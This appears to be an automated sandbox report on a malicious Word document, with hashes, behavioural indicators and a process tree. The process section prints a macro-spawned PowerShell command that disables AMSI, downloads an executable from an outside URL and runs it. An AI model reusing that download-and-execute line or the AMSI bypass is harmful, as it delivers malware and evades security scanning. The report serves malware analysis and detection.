Analysis
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max time kernel
136s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 21:18
Behavioral task
behavioral1
Sample
7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc
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Size
653KB
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MD5
7347b8b482d4185b9e80b7013ced1019
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SHA1
2a74cb315082a3729d80ebde02757b7e7ed5ab3f
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SHA256
f0477ac3d6076130fdb7feb394b84994421484e70674a303b063168d4fd59d10
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SHA512
09080b8756e6d3b8d121461e9a1b7d2347df09dab20fd8913aef76da39d457a8613edab7ae30c942d04455dc78eacbad6d0e2b838c748d192088817d9ef0d17d
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SSDEEP
12288:nuvKkfP+nEhsv5BcQsNeKvix7unLpdlo5CXmobj5Nnz7X:n+KkHq5BchNe0k7uLpb8Qmobj5lz
Malware Config
Extracted
http://ptpjm.co.id/updd/ppg.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 544 2056 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 22 544 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2056 WINWORD.EXE 2056 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 544 powershell.exe 544 powershell.exe 544 powershell.exe 544 powershell.exe 544 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 544 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 2056 WINWORD.EXE 2056 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2056 WINWORD.EXE 2056 WINWORD.EXE 2056 WINWORD.EXE 2056 WINWORD.EXE 2056 WINWORD.EXE 2056 WINWORD.EXE 2056 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2056 wrote to memory of 544 2056 WINWORD.EXE powershell.exe PID 2056 wrote to memory of 544 2056 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\uyxu.exe') {Remove-Item $env:APPDATA + '\uyxu.exe'}; $RGCUN = New-Object System.Net.WebClient; $RGCUN.Headers['User-Agent'] = 'RGCUN'; $RGCUN.DownloadFile('http://ptpjm.co.id/updd/ppg.exe', $env:APPDATA + '\uyxu.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\uyxu.exe'); Stop-Process -Id $Pid -Force2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:544
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl
Filesize263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d